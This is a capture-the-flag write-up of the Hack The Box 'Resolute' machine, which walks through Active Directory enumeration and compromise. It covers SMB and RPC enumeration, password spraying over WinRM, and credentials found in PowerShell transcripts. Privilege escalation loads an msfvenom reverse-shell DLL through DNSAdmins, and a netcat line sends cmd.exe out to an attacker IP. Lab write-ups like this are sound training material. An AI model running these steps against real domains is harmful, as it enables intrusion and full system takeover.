Resolute WriteUp

By: TigaxMT

User

As always we start by run nmap:

nmap -sVC 10.10.10.169 -oN resolute.nmap -vv

And we can see the follow services running:

- 53/tcp – Microsoft DNS
- 88/tcp – Microsoft Windows Kerberos
- 135/tcp – Microsoft Windows RPC
- 139/tcp – Microsoft Windows netbios-ssn
- 445/tcp – Windows Server 2016 … (workgroup: MEGABANK)
- 3268/tcp - Microsoft Windows AD LDAP (Domain: megabank.local)

This remember me Forest machine, so lets enumerate SMB, RPC and LDAP. But first just add megabank.local to your hosts file:

```
nano /etc/hosts
10.10.10.169   megabank.local
```

Ok first thing is enumerate SMB shares you have multiple ways to do it: smbmap, using metasploit auxiliary modules, using enum4linux … etc

With metasploit:

```
msfconsole
> use  auxiliary/scanner/smb/smb_enumshares
> set rhosts 10.10.10.139
> set smbdomain megabank.local
> set threads 64
> run
```

The output was: Login failed: Unable to Negotiate with remote host

Let me try to login with anonymous user using smbclient:

```
smbclient – L 10.10.10.169
```

(Hit ENTER)

Error NT_STATUS_RESOURCE_NAME_NOT_FOUND

Seems that enumerating shares with anonymous login don’t work. The next try for me was enum LDAP with impacket, samrdump can return me some names:

```
samrdump 10.10.10.169
```

And a lot of names appear but nothing more … So I tried a last thing, check if any user has DONT_REQ_PREAUTH kerberos attribute was set. If it is the script will return the user:hash_passwd to us (It’s an impacket script):

```
GetNPUsers.py htb.local/ -request -format hashcat -outputfile hashes
```

No entries found! At this time I was thinking probably I’m missing a lot of enumeration so I decided to search for a enum tool for this windows services and I found enum4linux:

```
enum4linux 10.10.10.169
```

A lot of output but something poped out! → **“Account created. Password set to Welcom123!”**

Note

You can found the password without enum4linux, with rpcclient you can list all users then use the RID to query the user and check the descriptions:

```
rpcclient -U “” -N 10.10.10.169
enumdomusers
queryuser hex_RID
```

Takes more time but works.

This string appear on the Users section , right on the description of marko user ! I supposed that is the password for marko user … But is not ;-; I didn’t understand but some awesome people (EAGAN11N and Th3GuArdiaN) give me the idea of bruteforce all the names with the password. I used metasploit for that (winrm login module):

```
msfconsole
> use auxiliary/scanner/winrm/winrm_login
> set domain megabank.local
> set password Welcome123!
> set rhosts 10.10.10.169
> set threads 64
> set user_file /path/to/your/names/file.txt
> run
```

Voila! Successful Login with melanie user. Now took the credentials and login using evil-winrm:

```
evil-winrm -i 10.10.10.169 -u melanie
```

(Enter the password when it asks)

And you have a shell and the user flag is on your Desktop folder.

Root

This part is a bit boring but I didn’t stop until I found what I want. I had seen that we have another user, named ryan, on the machine so let’s “walk” on each folder and check stuff (most of times we got a permission denied).

Until on C:\ I found a a folder called “PSTranscripts”, I really thought that was a simple PowerShell folder but when I digg into it I found .txt file with many info. In that I found something like: **“\\fs01\backups ryan Serv3r4Admin4cc123!”** Seems to be credentials … So I tried log with ryan using evil-winrm:

evil-winrm -i 10.10.10.169 -u ryan

(Enter the password when it asks)

And I have another shell with another user!

Now my idea was the same on the Forest machine, run SharpHound on the machine than pass the data to BloodHound and check the right path. But I have much troubles trying to run SharpHound so I tried fox-i/BloodHound.py and I get the zip with info but when I saw on BloodHound nothing seems to be interesting.

So I ask to Th3GuArdiaN what he did with BloodHound to check if I was in the right path… And I found I wasn’t, he just told me to run:

whoami /all

If you check all the groups you see that we have DNSAdmins with that we can generate a .dll file with a shell that will be run when dns service restart (will be run with admin privileges).

So first thing is find a user member of that group. Let’s first see what groups ryan is member of:

Get-ADPrincipalGroupMember ryan | select name

2 groups: Domain Users and Contractors

Now you can use PowerView to see what members DNSAdmins group have, but we will keep it simple and just use Powershell:

Get-ADGroupMember -Identity “DNSAdmins”

Nice! Contractors group is member of DNSAdmins group, that means ryan is “member” of DNSAdmins group. So let’s build some .dll with a reverse shell inside.

First thing let’s build the dll file, for that I used msfvenom:

```
msfvenom –platform windows -a x64 -p windows/shell_reverse_tcp LHOST=YOUR_IP LPORT=9001 -f dll -o file.dll
```

Until we forget it’s good to start our listener:

```
msfconsole
> use exploit/multi/handler
> set payload  windows/shell_reverse_tcp
> set LHOST=YOUR_IP
> set LPORT=9001
> run
```

Keep it running and now start smbserver (you can use the impacket script smbserver.py):

```
sudo smbserver.py myserver /full/path/to/your/crafted/dll/folder
```

Keep it running too and login with ryan using evil-winrm:

```
evil-winrm -i 10.10.10.169 -u ryan
```

It’s time to upload our evil dll file to the right folder, where dns will execute our dll when restarted. First let me check what the Domain controller name is (just ping the machine in your winrm session):

```
ping -a 10.10.10.169
```

Our DC is: Resolute.megabank.local, now we can upload (use the command prompt not evil-winrm):

```
dnscmd Resolute.megabank.local /config /serverlevelplugindll \\YOUR_IP\myserver\file.dll
```

I had some troubles restarting the dns service using evil-winrm so I recommend that you upload nc64.exe:

```
upload /path/to/the/nc64.exe
.\nc64.exe YOUR_IP 9000 -e C:\Windows\system32\cmd.exe
```

Open a netcat listening on the specified port:

```
nc -lvp 9000
```

Now you have a command prompt and our dll was uploaded lets try to restart the dns service:

```
sc \\Resolute.megabank.local stop dns
sc \\Resolute.megabank.local start dns
```

Now you will see your smbserver being connected by the machine and your msfconsole has now a new session just hit: CTRL + D and you have a new command prompt with Admin privileges. Just took the flag on the Desktop folder of Administrator user.

My Opinion

I liked a lot this machine! Is a medium where the security flaws seem to be something that can happen in real world situations. Apart of that abusing AD and understanding how it works is a thing where Resolute and Forest machines teach us hardly!
The difference between this 2 machines , in my opinion, is that in Forest you are abusing 100% Acrive Directory (that’s why we used a lot BloodHound), meanwhile in Resolute we start with AD and in the end we are abusing DNS service (which is pretty amazing too!).
Check the links below, they were my cane during the pentest.

Happy Hacking!

Links

Enumerating SMB: https://www.hackingarticles.in/a-little-guide-to-smb-enumeration/

Abusing DNSAdmins: http://www.labofapenetrationtester.com/2017/05/abusing-dnsadmins-privilege-for-escalation-in-active-directory.html

Social Media

Twitter: @iN128pkt

Github: TigaxMT

E-mail: tiagodeha@protonmail.com